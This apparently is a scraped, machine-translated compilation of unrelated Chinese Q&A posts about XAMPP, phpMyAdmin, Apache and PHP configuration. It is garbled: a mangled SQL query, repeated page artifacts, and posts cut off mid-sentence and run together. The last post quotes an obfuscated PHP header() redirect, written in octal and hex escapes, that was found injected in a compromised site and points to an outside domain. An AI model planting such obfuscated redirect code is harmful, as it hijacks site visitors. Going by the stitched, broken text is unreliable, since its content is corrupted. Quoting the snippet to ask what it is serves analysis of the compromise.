我在 serverfault 上发布了我的问题,但他们建议将其发布在 SuperUser 中来保留我的问题
我安装了 Xampp 并可以看到 localhost 页面以及 apache 和 mySQL 都启动正常,但是当我单击 phpMyAdmin ==> User 时,我看到以下错误:
静态分析:
分析过程中发现5处错误。
意外的右括号。(位置 52 处的“)”附近)意外的结束括号。(位置 112 处的“)”附近)意外的结束括号。(位置 181 处的“)”附近)意外的右括号。(位置 249 处的“)”附近)意外的结束括号。(位置 315 处的“)”附近)SQL 查询:文档
(SELECT DISTINCT
User,HostFROMmysql.user) UNION (SELECT DISTINCT ,UserFROMHost.mysql)dbUNION (SELECT DISTINCT , FROM . ) UNION (SELECT DISTINCT , FROM . ) UNION (SELECT DISTINCT , FROM . ) ORDER BY ASC, ASC …
我在 stackoverflow/superuser 上进行了搜索,但找不到我需要的东西。我使用一个脚本来设置我的 Linux 服务器。我的 www 文件夹(/var/www/)位于根分区,该分区的容量有限。我可以移动 www 文件夹以便在不同的分区上运行我的网站吗?我希望 www 从 /home/ 文件夹运行,该文件夹位于 1.9TB 分区上。
任何帮助都会很棒。谢谢。
这可能是一个愚蠢的问题,但是,是否连接到路由器localhost或127.0.0.1实际启动到路由器的网络连接,然后作为接收到的信号返回,或者它是否完全绕过网络并通过在软件中模拟网络来实现相同的效果?
据我了解,当使用 Apache 和 PGP 托管网络服务器时php.ini,决定最大上传大小的三个设置是:
memory_limitpost_max_sizeupload_max_filesize正如我所读到的,memory_limit必须大于post_max_size并且post_max_size必须大于upload_max_filesize。从那里开始,upload_max_filesize在 Apache 设置中,最低的实际上是上传大小的真正限制。
那么,如果上述情况属实,那么是否可以通过与 Apache 一起运行的 PHP 上传到网络服务器的真正最大文件大小等于托管设备上的物理内存?除了磁盘写入限制,即 NTFS 如何将文件大小限制为每个文件 4GB?
我问这个的原因是我的post_max_size并且upload_max_filesize设置为 4096M 但是虽然文件略小于 1GB 上传没有问题但超过 1GB 的文件没有。那么memory_limit在这样的事情中会是一个促成因素吗?
我怎样才能让每个用户(使用 Apache 的mod_userdir)php.ini在他们的主目录中有一个文件,该文件与系统一起使用php.ini(当前在/etc/php5/php.ini?
干杯!
编辑:这需要 PHP 5.2.x,基本上该服务器5.3由于遗留代码而无法运行 PHP 。
编辑:与大多数解决方案.htaccess,并php_value因为我们使用的FastCGI用的SuExec不会在这里工作
我在本地安装了一个 LAMP 服务器,我希望它只能从我自己的计算机(甚至不是我的本地网络)访问,只能通过环回。这可以安全地进行吗?如果是这样,如何?
我希望使用 Linux 设置我自己的本地 Web 服务器,以允许我使用 Apache 和 MYSQL 运行和开发 PHP 应用程序。
任何人都可以推荐使用的最佳 Linux 服务器发行版。由于我是这方面的新手,因为到目前为止我一直在使用 Xampp,因此我确实需要一个带有 GUI 的发行版,但也可以通过 Putty 控制发行版,以帮助我学习命令行。
任何帮助是极大的赞赏。
(哇,这个标题太烂了......如果你有更好的建议,请随时在评论中提出建议或编辑它。)
我有一个带有 CGI 程序的服务器,它接收一个 URL 作为路径信息,检查用户的 IP 地址,并将它们重定向到直接转到该 URL(如果它们在我们组织内部)或通过代理将它们发送到 URL (如果它们是外部的)。CGI 本身运行良好,但有些 URL apache 返回 404 Not Found 错误而不是调用脚本。这似乎与包含 URI 编码路径的目标 URL 相关。例如,
http://myserver.org/cgi-bin/ipchk/http://other.server.org/10.1007%2F3-540-28519-9_8
返回 404,而
http://myserver.org/cgi-bin/ipchk/http://other.server.org/10.1007/3-540-28519-9_8
(相同的 URL,但%2F解码为 a /)正常工作。
我已经验证(通过error_log在启动时输出),当返回 404 时,ipchk脚本根本没有启动。这些错误肯定来自 apache 本身,而不是由脚本将用户重定向到不存在的 URL 引起的。
为什么 pathinfo-URL 的编码会影响 apache 定位 ipchk 脚本的能力,我需要做些什么才能让它将所有 /cgi-bin/ipchk/URI传递给ipchk不管接下来会发生什么?
我一直在玩弄运行在 Ubuntu 服务器上的 Apache 的乐趣。它被设置为全球 Web 服务器并共享一些我可以在任何地方访问的文件。我还使用它来连接我的音乐,并在我离开家时通过我的 Android 手机播放。它还包含仅对我的本地网络可见的共享。
几周前我设置了 logwatch,每天早上都会通过电子邮件将日志发送给我。我时不时地在我的日志(或非常类似的东西)中看到这一点。
Attempts to use known hacks by 1 hosts were logged 3 time(s) from:
<Routers local IP Address>: 3 Time(s)
Run Code Online (Sandbox Code Playgroud)
Logwatch 显示没有成功的尝试,我很确定我没有被黑客入侵。但是什么会导致我的路由器本地 IP 地址在 logwatch 中显示为威胁?
难道是偷偷出来毁了我O-o?
关于网络的一些其他花絮:
我似乎无法准确指出是什么导致了这种情况..
编辑:更多关于我的架构
我的家庭网络在我的路由器 NAT 后面(路由器本地 IP 是 .1)。我有一台笔记本电脑和一台台式机,它们都有静态 IP。我的桌面可以连接无线和有线。我还有一个 Wii,它可以在需要上网等时连接。下表是我的路由器的表格,显示了已连接的内容。
.2 <MAC ADDRESS> expired (This is my Desktops Wireless Conn.)
.3 <MAC ADDRESS> Forever (This is …Run Code Online (Sandbox Code Playgroud) 我在受损的 php 文件中发现了一些 base64 编码的文本。当我解码 base64 字符串时,它是以下指令:
header("R\145\x66resh\072\x20\x32\x35\x3b\x20\x75r\x6c\075\"\x68\164\164\x70\x3a\057\057\146\143b\x61\162\x63\145\154on\141\144\157\x64\157\143\x6fm.\x69\x6e\x66\157\057uk\"");
Run Code Online (Sandbox Code Playgroud)
该 URL 字符串是什么类型的编码?我最初认为是十六进制,然后是 ascii,但它的长度可变。我做了谷歌,但无济于事。有人可以指出我正确的方向吗?